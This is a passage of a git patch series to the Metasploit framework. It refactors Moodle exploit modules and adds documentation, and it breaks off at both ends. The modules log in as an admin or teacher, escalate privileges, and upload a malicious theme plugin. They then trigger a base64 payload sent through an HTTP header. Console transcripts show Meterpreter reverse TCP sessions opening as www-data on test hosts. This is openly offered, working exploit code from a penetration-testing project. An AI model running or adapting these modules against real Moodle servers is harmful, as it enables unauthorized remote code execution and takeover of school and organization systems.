Rex::Text.rand_text_alpha_lower(8) + header = Rex::Text.rand_text_alpha_upper(4) + plugin_name = Rex::Text.rand_text_alpha_lower(8) - print_status("Creating plugin named: #{@plugin_name}") + print_status("Creating plugin named: #{plugin_name}") - path = "#{@plugin_name}/version.php" - path2 = "#{@plugin_name}/lang/en/theme_#{@plugin_name}.php" + path = "#{plugin_name}/version.php" + path2 = "#{plugin_name}/lang/en/theme_#{plugin_name}.php" # "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin. - plugin_file.add_file(path, "version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{@plugin_name}';") + plugin_file.add_file(path, "version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{plugin_name}';") plugin_file.add_file(path2, "") # plugin_file.add_file(path2, "") - plugin_file.pack + return plugin_file.pack, header, plugin_name end - def exec_code + def exec_code(plugin_name, header) # Base64 was encoded in "PHP". This process was sent as "HTTP headers". print_status('Triggering payload') send_request_cgi({ 'keep_cookies' => true, - 'uri' => normalize_uri(target_uri.path, 'theme', @plugin_name, 'lang', 'en', "theme_#{@plugin_name}.php"), - 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" + 'uri' => normalize_uri(target_uri.path, 'theme', plugin_name, 'lang', 'en', "theme_#{plugin_name}.php"), + 'raw_headers' => "#{header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" }) end - def upload - print_status('Getting variables required for upload') - res = send_request_cgi!( - 'keep_cookies' => true, - 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php') - ) - - @sesskey = res.body.split('"sesskey":"')[1].split('"')[0] # fetch session info - @itemid = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload - @author = res.body.split('title="View profile">')[1].split('<')[0] # fetch admin account profile info - @clientid = res.body.split('client_id":"')[1].split('"')[0] # fetch client info - - # creating multipart data for the upload plugin file - pdata = Rex::MIME::Message.new - pdata.add_part(create_plugin_file, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{@plugin_name}.zip\"") - pdata.add_part('', nil, nil, 'form-data; name="title"') - pdata.add_part(@author, nil, nil, 'form-data; name="author"') - pdata.add_part('allrightsreserved', nil, nil, 'form-data; name="license"') - pdata.add_part(@itemid, nil, nil, 'form-data; name="itemid"') - pdata.add_part('.zip', nil, nil, 'form-data; name="accepted_types[]"') - if @version < Rex::Version.new('3.9.0') - pdata.add_part('4', nil, nil, 'form-data; name="repo_id"') - else - pdata.add_part('5', nil, nil, 'form-data; name="repo_id"') - end - pdata.add_part('', nil, nil, 'form-data; name="p"') - pdata.add_part('', nil, nil, 'form-data; name="page"') - pdata.add_part('filepicker', nil, nil, 'form-data; name="env"') - pdata.add_part(@sesskey, nil, nil, 'form-data; name="sesskey"') - pdata.add_part(@clientid, nil, nil, 'form-data; name="client_id"') - pdata.add_part('-1', nil, nil, 'form-data; name="maxbytes"') - pdata.add_part('-1', nil, nil, 'form-data; name="areamaxbytes"') - pdata.add_part('1', nil, nil, 'form-data; name="ctx_id"') - pdata.add_part('/', nil, nil, 'form-data; name="savepath"') - - print_status('Uploading plugin') - res = send_request_cgi!({ - 'method' => 'POST', - 'data' => pdata.to_s, - 'ctype' => "multipart/form-data; boundary=#{pdata.bound}", - 'keep_cookies' => true, - 'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php'), - 'vars_get' => { - 'action' => 'upload' - } - }) - - unless res.body =~ /draftfile.php/ - fail_with(Failure::NoAccess, 'Something went wrong!') - end - print_good("Plugin #{@plugin_name}.zip file successfully uploaded to target!") - print_status('Attempting to integrate the plugin...') - @zipfile = res.body.split('draft\/')[1].split('\/')[0] - end - - def plugin_integration - print_status('Integrating plugin') - res = send_request_cgi( - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'), - 'keep_cookies' => true, - 'vars_post' => { - 'sesskey' => @sesskey, - '_qf__tool_installaddon_installfromzip_form' => '1', - 'mform_showmore_id_general' => '0', - 'mform_isexpanded_id_general' => '1', - 'zipfile' => @zipfile, - 'plugintype' => 'theme', - 'rootdir' => '', - 'submitbutton' => 'Install+plugin+from+the+ZIP+file' - } - ) - - unless res.body =~ /installzipstorage/ - fail_with(Failure::NoAccess, 'Install not successful') - end - print_good('Plugin successfully integrated!') - storage = res.body.split('installzipstorage=')[1].split('&')[0] - - send_request_cgi( - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'), - 'keep_cookies' => true, - 'vars_post' => { - 'installzipcomponent' => "theme_#{@plugin_name}", - 'installzipstorage' => storage, - 'installzipconfirm' => '1', - 'sesskey' => @sesskey - } - ) - end - - def clean - print_status('Uninstalling plugin') - if @version < Rex::Version.new('3.9.0') - send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), - 'keep_cookies' => true, - 'vars_post' => { - 'cache' => '0', - 'confirmplugincheck' => '0', - 'abortinstallx' => '1', - 'confirmabortinstall' => '1', - 'sesskey' => @sesskey - } - }) - else - send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), - 'keep_cookies' => true, - 'vars_post' => { - 'cache' => '0', - 'confirmrelease' => '1', - 'confirmplugincheck' => '0', - 'abortinstallx' => "theme_#{@plugin_name}", - 'confirmabortinstall' => '1', - 'sesskey' => @sesskey - } - }) - end - end - def check v = moodle_version return CheckCode::Detected('Unable to determine moodle version') if v.nil? @@ -219,8 +95,8 @@ class MetasploitModule < Msf::Exploit::Remote # This is a feature, not a vuln, so we assume this to work on 3.0.0+ # assuming the plugin arch changed before that. # > 3.0, < 3.9 - @version = Rex::Version.new(v) - if @version > Rex::Version.new('3.0.0') + version = Rex::Version.new(v) + if version > Rex::Version.new('3.0.0') return CheckCode::Appears("Exploitable Moodle version #{v} detected") end @@ -228,6 +104,10 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit + v = moodle_version + Failure::NoAccess('Unable to determine moodle version') if v.nil? + + version = Rex::Version.new(v) print_status("Authenticating as user: #{datastore['USERNAME']}") cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty? @@ -236,9 +116,18 @@ class MetasploitModule < Msf::Exploit::Remote end print_good("Authentication was successful with user: #{datastore['USERNAME']}") - upload - plugin_integration - exec_code - clean + print_status('Creating addon file') + addon_content, header, addon_name = create_addon_file + print_status('Uploading addon') + zipfile, sesskey = upload_addon(addon_name, version, addon_content) + fail_with(Failure::NoAccess, 'Unable to upload addon') if zipfile.nil? + print_good('Upload Successful. Integrating addon') + ret = plugin_integration(sesskey, addon_name) + if ret.nil? + fail_with(Failure::NoAccess, 'Install not successful') + end + exec_code(addon_name, header) + print_status('Uninstalling plugin') + remove_plugin("theme_#{addon_name}", version, sesskey) end end diff --git a/modules/auxiliary/admin/http/moodle_teacher_enrollement_priv_esc.rb b/modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb similarity index 98% rename from modules/auxiliary/admin/http/moodle_teacher_enrollement_priv_esc.rb rename to modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb index e11c497798..2c07b2fd19 100644 --- a/modules/auxiliary/admin/http/moodle_teacher_enrollement_priv_esc.rb +++ b/modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class MetasploitModule < Msf::Auxiliary +class MetasploitModule < Msf::Exploit::Remote prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient @@ -38,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], - 'Reliability' => [], + 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] } ) @@ -102,10 +102,10 @@ class MetasploitModule < Msf::Auxiliary end def check - return Exploit::CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online? + return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online? v = moodle_version - return Exploit::CheckCode::Detected('Unable to determine moodle version') if v.nil? + return CheckCode::Detected('Unable to determine moodle version') if v.nil? # https://moodle.org/mod/forum/discuss.php?d=407393 v = Rex::Version.new(v) @@ -114,13 +114,13 @@ class MetasploitModule < Msf::Auxiliary v.between?(Rex::Version.new('3.7'), Rex::Version.new('3.7.7')) || v.between?(Rex::Version.new('3.5'), Rex::Version.new('3.5.13')) || v.between?(Rex::Version.new('3'), Rex::Version.new('3.5')) - return Exploit::CheckCode::Appears("Exploitable Moodle version #{v} detected") + return CheckCode::Appears("Exploitable Moodle version #{v} detected") end - Exploit::CheckCode::Safe("Non-exploitable Moodle version #{v} detected") + CheckCode::Safe("Non-exploitable Moodle version #{v} detected") end - def run + def exploit print_status("Authenticating as user: #{datastore['USERNAME']}") cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty? From 77dff0fc13ac61c322d7f17eb81668d63f08542d Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 1 Sep 2021 17:49:17 -0400 Subject: [PATCH 12/15] working admin shell --- .../core/exploit/remote/http/moodle/admin.rb | 153 ++++++++++++++++++ .../multi/http/moodle_admin_shell_upload.rb | 10 +- 2 files changed, 158 insertions(+), 5 deletions(-) create mode 100644 lib/msf/core/exploit/remote/http/moodle/admin.rb diff --git a/lib/msf/core/exploit/remote/http/moodle/admin.rb b/lib/msf/core/exploit/remote/http/moodle/admin.rb new file mode 100644 index 0000000000..5d914fc593 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/moodle/admin.rb @@ -0,0 +1,153 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Moodle::Admin + # Retrieves variables required for uploading an addon + # + # @return [String] session key + # @return [String] item id + # @return [String] author name + # @return [String] client id + def get_addon_variables + res = send_request_cgi!( + 'keep_cookies' => true, + 'uri' => moodle_admin_addon_install + ) + + sesskey = res.body.split('"sesskey":"')[1].split('"')[0] # fetch session info + item_id = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload + author = res.body.split('title="View profile">')[1].split('<')[0] # fetch admin account profile info + client_id = res.body.split('client_id":"')[1].split('"')[0] # fetch client info + return sesskey, item_id, author, client_id + end + + # Uploads an addon to Moodle + # + # @param addon_name [String] Name of addon to be uploaded + # @param moodle_version [Rex::Version] Version of the moodle instance, as a Rex::Version + # @param addon_content [ZipArchive] Zip of the addon content + # @return [String,nil] file ID of the uploaded zip file, nil on failure + # @return [String,nil] Session key, nil on failure + def upload_addon(addon_name, moodle_version, addon_content) + sesskey, item_id, author, client_id = get_addon_variables + + # creating multipart data for the upload addon file + pdata = Rex::MIME::Message.new + pdata.add_part(addon_content, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{addon_name}.zip\"") + pdata.add_part('', nil, nil, 'form-data; name="title"') + pdata.add_part(author, nil, nil, 'form-data; name="author"') + pdata.add_part('allrightsreserved', nil, nil, 'form-data; name="license"') + pdata.add_part(item_id, nil, nil, 'form-data; name="itemid"') + pdata.add_part('.zip', nil, nil, 'form-data; name="accepted_types[]"') + if moodle_version < Rex::Version.new('3.9.0') + pdata.add_part('4', nil, nil, 'form-data; name="repo_id"') + else + pdata.add_part('5', nil, nil, 'form-data; name="repo_id"') + end + pdata.add_part('', nil, nil, 'form-data; name="p"') + pdata.add_part('', nil, nil, 'form-data; name="page"') + pdata.add_part('filepicker', nil, nil, 'form-data; name="env"') + pdata.add_part(sesskey, nil, nil, 'form-data; name="sesskey"') + pdata.add_part(client_id, nil, nil, 'form-data; name="client_id"') + pdata.add_part('-1', nil, nil, 'form-data; name="maxbytes"') + pdata.add_part('-1', nil, nil, 'form-data; name="areamaxbytes"') + pdata.add_part('1', nil, nil, 'form-data; name="ctx_id"') + pdata.add_part('/', nil, nil, 'form-data; name="savepath"') + + res = send_request_cgi!({ + 'method' => 'POST', + 'data' => pdata.to_s, + 'ctype' => "multipart/form-data; boundary=#{pdata.bound}", + 'keep_cookies' => true, + 'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php'), + 'vars_get' => { + 'action' => 'upload' + } + }) + + unless res.body =~ /draftfile.php/ + return nil, nil + end + + file_id = res.body.split('draft\/')[1].split('\/')[0] + + return file_id, sesskey + end + + # Uninstalls an addon from Moodle + # + # @param addon_name [String] Name of addon to be uploaded + # @param moodle_version [Rex::Version] Version of the moodle instance, as a Rex::Version + # @param sesskey [String] session key + # @return [HttpResponse] HttpResponse object + def remove_plugin(addon_name, moodle_version, sesskey) + if moodle_version < Rex::Version.new('3.9.0') + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), + 'keep_cookies' => true, + 'vars_post' => { + 'cache' => '0', + 'confirmplugincheck' => '0', + 'abortinstallx' => '1', + 'confirmabortinstall' => '1', + 'sesskey' => sesskey + } + }) + else + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), + 'keep_cookies' => true, + 'vars_post' => { + 'cache' => '0', + 'confirmrelease' => '1', + 'confirmplugincheck' => '0', + 'abortinstallx' => addon_name, + 'confirmabortinstall' => '1', + 'sesskey' => sesskey + } + }) + end + end + + # Integrates an addon to Moodle + # + # @param sesskey [String] session key + # @param file_id [String] ID of the file to integrate + # @param plugin_name [String] name of the plugin file + # @param type [String] The type of addon being added. Defaults to 'theme' + # @return [HttpResponse,nil] HttpResponse object, nil on failure + def plugin_integration(sesskey, file_id, plugin_name, type = 'theme') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'), + 'keep_cookies' => true, + 'vars_post' => { + 'sesskey' => sesskey, + '_qf__tool_installaddon_installfromzip_form' => '1', + 'mform_showmore_id_general' => '0', + 'mform_isexpanded_id_general' => '1', + 'zipfile' => file_id, + 'plugintype' => type, + 'rootdir' => '', + 'submitbutton' => 'Install+plugin+from+the+ZIP+file' + } + ) + + return nil unless res.body =~ /installzipstorage/ + + storage = res.body.split('installzipstorage=')[1].split('&')[0] + + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'), + 'keep_cookies' => true, + 'vars_post' => { + 'installzipcomponent' => "#{type}_#{plugin_name}", + 'installzipstorage' => storage, + 'installzipconfirm' => '1', + 'sesskey' => sesskey + } + ) + end +end diff --git a/modules/exploits/multi/http/moodle_admin_shell_upload.rb b/modules/exploits/multi/http/moodle_admin_shell_upload.rb index 700d51ee2b..4b0aa2b834 100644 --- a/modules/exploits/multi/http/moodle_admin_shell_upload.rb +++ b/modules/exploits/multi/http/moodle_admin_shell_upload.rb @@ -67,13 +67,13 @@ class MetasploitModule < Msf::Exploit::Remote header = Rex::Text.rand_text_alpha_upper(4) plugin_name = Rex::Text.rand_text_alpha_lower(8) - print_status("Creating plugin named: #{plugin_name}") + print_status("Creating plugin named: #{plugin_name} with poisoned header: #{header}") path = "#{plugin_name}/version.php" path2 = "#{plugin_name}/lang/en/theme_#{plugin_name}.php" # "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin. plugin_file.add_file(path, "version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{plugin_name}';") - plugin_file.add_file(path2, "") + plugin_file.add_file(path2, "") # plugin_file.add_file(path2, "") return plugin_file.pack, header, plugin_name end @@ -119,10 +119,10 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Creating addon file') addon_content, header, addon_name = create_addon_file print_status('Uploading addon') - zipfile, sesskey = upload_addon(addon_name, version, addon_content) - fail_with(Failure::NoAccess, 'Unable to upload addon') if zipfile.nil? + file_id, sesskey = upload_addon(addon_name, version, addon_content) + fail_with(Failure::NoAccess, 'Unable to upload addon') if file_id.nil? print_good('Upload Successful. Integrating addon') - ret = plugin_integration(sesskey, addon_name) + ret = plugin_integration(sesskey, file_id, addon_name) if ret.nil? fail_with(Failure::NoAccess, 'Install not successful') end From 65aae010ce854fe4ddd08cf39ec2eca4eaf95e83 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 4 Sep 2021 13:31:11 -0400 Subject: [PATCH 13/15] more libs for moodle and teacher priv esc to rce module --- .../multi/http/moodle_admin_shell_upload.md | 93 +++++------- ...odle_teacher_enrollment_priv_esc_to_rce.md | 119 +++++++++++++++ .../core/exploit/remote/http/moodle/admin.rb | 2 - .../core/exploit/remote/http/moodle/login.rb | 1 + .../core/exploit/remote/http/moodle/uris.rb | 7 + .../multi/http/moodle_admin_shell_upload.rb | 8 +- .../multi/http/moodle_spelling_path_rce.rb | 4 +- ...odle_teacher_enrollment_priv_esc_to_rce.rb | 138 +++++++++++++----- 8 files changed, 272 insertions(+), 100 deletions(-) create mode 100644 documentation/modules/exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.md diff --git a/documentation/modules/exploit/multi/http/moodle_admin_shell_upload.md b/documentation/modules/exploit/multi/http/moodle_admin_shell_upload.md index 5a0be205bc..f85c45ea36 100644 --- a/documentation/modules/exploit/multi/http/moodle_admin_shell_upload.md +++ b/documentation/modules/exploit/multi/http/moodle_admin_shell_upload.md @@ -35,6 +35,7 @@ Password for an admin user ``` resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload +[*] Using configured payload php/meterpreter/reverse_tcp resource (moodle_upload.rb)> set rhosts 2.2.2.2 rhosts => 2.2.2.2 resource (moodle_upload.rb)> set username admin @@ -53,30 +54,28 @@ resource (moodle_upload.rb)> exploit [+] The target appears to be vulnerable. Exploitable Moodle version 3.8 detected [*] Authenticating as user: admin [+] Authentication was successful with user: admin -[*] Getting variables required for upload -[*] Creating plugin named: tqmdaefi -[*] Uploading plugin -[+] Plugin tqmdaefi.zip file successfully uploaded to target! -[*] Attempting to integrate the plugin... -[*] Integrating plugin -[+] Plugin successfully integrated! +[*] Creating addon file +[*] Creating plugin named: oganetpo with poisoned header: YLYF +[*] Uploading addon +[+] Upload Successful. Integrating addon [*] Triggering payload [*] Sending stage (39282 bytes) to 2.2.2.2 -[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56156) at 2021-08-29 16:03:40 -0400 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56312) at 2021-09-02 17:05:39 -0400 [*] Uninstalling plugin -meterpreter > getuid -Server username: www-data (33) meterpreter > sysinfo Computer : moodle OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 Meterpreter : php/linux +meterpreter > getuid +Server username: www-data (33) ``` ### Moodle 3.6.3 on Ubuntu 20.04 ``` resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload +[*] Using configured payload php/meterpreter/reverse_tcp resource (moodle_upload.rb)> set rhosts 2.2.2.2 rhosts => 2.2.2.2 resource (moodle_upload.rb)> set username admin @@ -95,31 +94,28 @@ resource (moodle_upload.rb)> exploit [+] The target appears to be vulnerable. Exploitable Moodle version 3.6.3 detected [*] Authenticating as user: admin [+] Authentication was successful with user: admin -[*] Getting variables required for upload -[*] Creating plugin named: ttvszmjy -[*] Uploading plugin -[+] Plugin ttvszmjy.zip file successfully uploaded to target! -[*] Attempting to integrate the plugin... -[*] Integrating plugin -[+] Plugin successfully integrated! +[*] Creating addon file +[*] Creating plugin named: vnckinyr with poisoned header: BMDI +[*] Uploading addon +[+] Upload Successful. Integrating addon [*] Triggering payload [*] Sending stage (39282 bytes) to 2.2.2.2 -[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56158) at 2021-08-29 16:09:49 -0400 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56316) at 2021-09-02 17:09:41 -0400 [*] Uninstalling plugin -meterpreter > getuid -Server username: www-data (33) meterpreter > sysinfo Computer : moodle OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 Meterpreter : php/linux +meterpreter > getuid +Server username: www-data (33) ``` ### Moodle 3.9.0 on Ubuntu 20.04 ``` resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload -[*] No payload configured, defaulting to php/meterpreter/reverse_tcp +[*] Using configured payload php/meterpreter/reverse_tcp resource (moodle_upload.rb)> set rhosts 2.2.2.2 rhosts => 2.2.2.2 resource (moodle_upload.rb)> set username admin @@ -138,31 +134,28 @@ resource (moodle_upload.rb)> exploit [+] The target appears to be vulnerable. Exploitable Moodle version 3.9 detected [*] Authenticating as user: admin [+] Authentication was successful with user: admin -[*] Getting variables required for upload -[*] Creating plugin named: jwnsnjof -[*] Uploading plugin -[+] Plugin jwnsnjof.zip file successfully uploaded to target! -[*] Attempting to integrate the plugin... -[*] Integrating plugin -[+] Plugin successfully integrated! +[*] Creating addon file +[*] Creating plugin named: taztsyap with poisoned header: ARHW +[*] Uploading addon +[+] Upload Successful. Integrating addon [*] Triggering payload [*] Sending stage (39282 bytes) to 2.2.2.2 -[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56182) at 2021-08-29 16:47:00 -0400 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56318) at 2021-09-02 17:11:20 -0400 [*] Uninstalling plugin -meterpreter > getuid -Server username: www-data (33) meterpreter > sysinfo Computer : moodle OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 Meterpreter : php/linux +meterpreter > getuid +Server username: www-data (33) ``` ### Moodle 3.10.0 on Ubuntu 20.04 ``` resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload -[*] No payload configured, defaulting to php/meterpreter/reverse_tcp +[*] Using configured payload php/meterpreter/reverse_tcp resource (moodle_upload.rb)> set rhosts 2.2.2.2 rhosts => 2.2.2.2 resource (moodle_upload.rb)> set username admin @@ -181,31 +174,28 @@ resource (moodle_upload.rb)> exploit [+] The target appears to be vulnerable. Exploitable Moodle version 3.10 detected [*] Authenticating as user: admin [+] Authentication was successful with user: admin -[*] Getting variables required for upload -[*] Creating plugin named: xstassyj -[*] Uploading plugin -[+] Plugin xstassyj.zip file successfully uploaded to target! -[*] Attempting to integrate the plugin... -[*] Integrating plugin -[+] Plugin successfully integrated! +[*] Creating addon file +[*] Creating plugin named: yciymtns with poisoned header: YBIT +[*] Uploading addon +[+] Upload Successful. Integrating addon [*] Triggering payload [*] Sending stage (39282 bytes) to 2.2.2.2 -[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56186) at 2021-08-29 16:49:52 -0400 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56320) at 2021-09-02 17:16:52 -0400 [*] Uninstalling plugin -meterpreter > getuid -Server username: www-data (33) meterpreter > sysinfo Computer : moodle OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 Meterpreter : php/linux +meterpreter > getuid +Server username: www-data (33) ``` ### Moodle 3.11.2 on Ubuntu 20.04 ``` resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload -[*] No payload configured, defaulting to php/meterpreter/reverse_tcp +[*] Using configured payload php/meterpreter/reverse_tcp resource (moodle_upload.rb)> set rhosts 2.2.2.2 rhosts => 2.2.2.2 resource (moodle_upload.rb)> set username admin @@ -224,22 +214,19 @@ resource (moodle_upload.rb)> exploit [+] The target appears to be vulnerable. Exploitable Moodle version 3.11.2 detected [*] Authenticating as user: admin [+] Authentication was successful with user: admin -[*] Getting variables required for upload -[*] Creating plugin named: ksrhyfeq -[*] Uploading plugin -[+] Plugin ksrhyfeq.zip file successfully uploaded to target! -[*] Attempting to integrate the plugin... -[*] Integrating plugin -[+] Plugin successfully integrated! +[*] Creating addon file +[*] Creating plugin named: fwjdzsuj with poisoned header: ZLCW +[*] Uploading addon +[+] Upload Successful. Integrating addon [*] Triggering payload [*] Sending stage (39282 bytes) to 2.2.2.2 -[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56190) at 2021-08-29 16:54:03 -0400 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56326) at 2021-09-02 17:27:06 -0400 [*] Uninstalling plugin -meterpreter > getuid -Server username: www-data (33) meterpreter > sysinfo Computer : moodle OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 Meterpreter : php/linux +meterpreter > getuid +Server username: www-data (33) ``` diff --git a/documentation/modules/exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.md b/documentation/modules/exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.md new file mode 100644 index 0000000000..7453fd241e --- /dev/null +++ b/documentation/modules/exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.md @@ -0,0 +1,119 @@ +## Vulnerable Application + +Moodle version 3.9, 3.8 to 3.8.3, 3.7 to 3.7.6, 3.5 to 3.5.12 and earlier unsupported versions +allow for a teacher to exploit chain to RCE. A bug in the privileges system allows a teacher +to add themselves as a manager to their own class. They can then add any other users, and thus +look to add someone with manager privileges on the system (not just the class). After +adding a system manager, a 'loginas' feature is used to access their account. Next the system +is reconfigured to allow for all users to install an addon/plugin. Then a malicious theme +is uploaded and creates an RCE. + +If all of that is a success, we revert permissions for managers to system default and +remove our malicoius theme. Manual cleanup to remove students from the class is required. + +This module was tested against Moodle version 3.9 + +### Install + +Moodle provides a step by step guide to install their software. However you'll want to use +`3.9.0` isntead of `3.11.0`. +[here](https://docs.moodle.org/311/en/Step-by-step_Installation_Guide_for_Ubuntu) + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce` +1. Do: `set username [username]` +1. Do: `set password [password]` +1. Do: `run` +1. You should get a shell. + +## Options + +### MAXUSERS + +The amount of users to add to the class in hopes of finding a manager. Defaults to `100`. + +### Passowrd + +Password of a teacher. + +### Username + +Username of a teacher. + +## Scenarios + +### Moodle 3.9.0 on Ubuntu 20.04 + +``` +resource (moodle_privesc.rb)> use exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce +[*] Using configured payload php/meterpreter/reverse_tcp +resource (moodle_privesc.rb)> set rhosts 2.2.2.2 +rhosts => 2.2.2.2 +resource (moodle_privesc.rb)> set targeturi /moodle-3.9.0/ +targeturi => /moodle-3.9.0/ +resource (moodle_privesc.rb)> set username teacher +username => teacher +resource (moodle_privesc.rb)> set password Teacherteacher1! +password => Teacherteacher1! +resource (moodle_privesc.rb)> set lhost eth0 +lhost => eth0 +resource (moodle_privesc.rb)> set MAXUSERS 10 +MAXUSERS => 10 +resource (moodle_privesc.rb)> run +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Exploitable Moodle version 3.9 detected +[*] Authenticating as user: teacher +[*] Retrieving user info +[+] User ID: 4 +[+] Course ID: 2 +[+] Sessionkey: R1lSAKDT73 +[*] Retrieving course enrollment id +[+] Enrol ID: 1 +[*] Attempting to enrolin in class as manager (priv esc) +[+] Successfully enrolled +[*] Attempting to find and add a manager to class +[*] Attempting user: 2 +[+] Successfully enrolled +[*] Attempting user: 3 +[+] Successfully enrolled +[*] Attempting user: 4 +[+] Successfully enrolled +[*] Attempting user: 5 +[+] Successfully enrolled +[*] Attempting user: 6 +[-] Unsuccessful +[*] Attempting user: 7 +[-] Unsuccessful +[*] Attempting user: 8 +[-] Unsuccessful +[*] Attempting user: 9 +[-] Unsuccessful +[*] Retrieving course context id +[+] Context ID: 28 +[+] Found manager user IDs: ["5", "4"] +[*] Attempting loginas for user id: 5 +[*] Logged in as: manager manager +[+] Looks like a potentially good manager account! +[*] Attempting via new session key: gUocfkXDpe +[*] Checking if permissions were set successfully +[+] Manager roll full permissioned, attempting to upload shell +[*] Creating plugin named: mbdzduot with poisoned header: PIYB +[*] Uploading addon +[+] Upload Successful. Integrating addon +[*] Triggering payload +[*] Sending stage (39282 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56418) at 2021-09-04 13:21:51 -0400 +[*] Uninstalling plugin +[*] Resetting permissions + +meterpreter > sysinfo +Computer : moodle +OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 +Meterpreter : php/linux +meterpreter > getuid +Server username: www-data (33) +``` diff --git a/lib/msf/core/exploit/remote/http/moodle/admin.rb b/lib/msf/core/exploit/remote/http/moodle/admin.rb index 5d914fc593..c562cd1017 100644 --- a/lib/msf/core/exploit/remote/http/moodle/admin.rb +++ b/lib/msf/core/exploit/remote/http/moodle/admin.rb @@ -29,7 +29,6 @@ module Msf::Exploit::Remote::HTTP::Moodle::Admin # @return [String,nil] Session key, nil on failure def upload_addon(addon_name, moodle_version, addon_content) sesskey, item_id, author, client_id = get_addon_variables - # creating multipart data for the upload addon file pdata = Rex::MIME::Message.new pdata.add_part(addon_content, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{addon_name}.zip\"") @@ -69,7 +68,6 @@ module Msf::Exploit::Remote::HTTP::Moodle::Admin end file_id = res.body.split('draft\/')[1].split('\/')[0] - return file_id, sesskey end diff --git a/lib/msf/core/exploit/remote/http/moodle/login.rb 